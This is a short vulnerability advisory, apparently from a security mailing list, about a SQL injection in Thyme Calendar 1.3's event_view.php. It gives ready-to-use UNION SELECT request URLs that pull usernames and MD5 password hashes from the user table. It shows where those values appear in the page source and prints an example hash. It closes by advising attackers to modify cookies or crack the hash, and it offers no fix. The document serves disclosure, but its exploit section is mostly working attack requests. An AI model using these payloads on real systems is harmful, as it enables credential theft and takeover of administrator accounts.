-------------------------------------------------------------------
OVERVIEW AND DEFINITION
-------------------------------------------------------------------

A vulnerability in exists in Thyme Calendar 1.3 (and possibly lower 
versions) which
allows execution of a custom SQL query.

The vulnerability exists in event_view.php, because the 'eid' field is not 
properly
validated. An attacker could exploit the vulnerabilit with the following 
request:


http://sitename/thyme_directory/event_view.php?eid=34 UNION SELECT userid 
FROM thyme_Users


Where 'sitename' is the name of the site, and 'thyme_directory' is the 
directory in which
Thyme is located.

-------------------------------------------------------------------
SQL QUERY
-------------------------------------------------------------------

The SQL query originally looks like this:


SELECT id FROM thyme_Attachments WHERE eid = 34


But by changing the 'eid' field we get a query that looks like this:


SELECT id FROM thyme_Attachments WHERE eid = 34 UNION SELECT userid FROM 
thyme_Users

-------------------------------------------------------------------
RESULT OF NEW QUERY
-------------------------------------------------------------------

The result is that the query sends back all the userid's (actually 
usernames) from the
database instead of the 'id' from thyme_Attachments. You will be able to 
grab the userid's
from the HTML source by searching for 'aid=' as this is where the attachment 
id is
supposed to go. For example:

http://sitename/thyme_directory/download_attachment.php?aid=admin

-------------------------------------------------------------------
GETTING PASSWORDS
-------------------------------------------------------------------

And the password (md5'd) can be obtained in the same fashion:

http://sitename/thyme_directory/event_view.php?eid=34 UNION SELECT pass FROM 
thyme_Users
WHERE username = "admin"

In the HTML source:

http://sitename/thyme_directory/download_attachment.php?aid=9ab1c5afa4946ca0030271736f38c83a

-------------------------------------------------------------------
HOW TO EXPLOIT
-------------------------------------------------------------------

Cookies should be modifiable. If not, crack the md5!
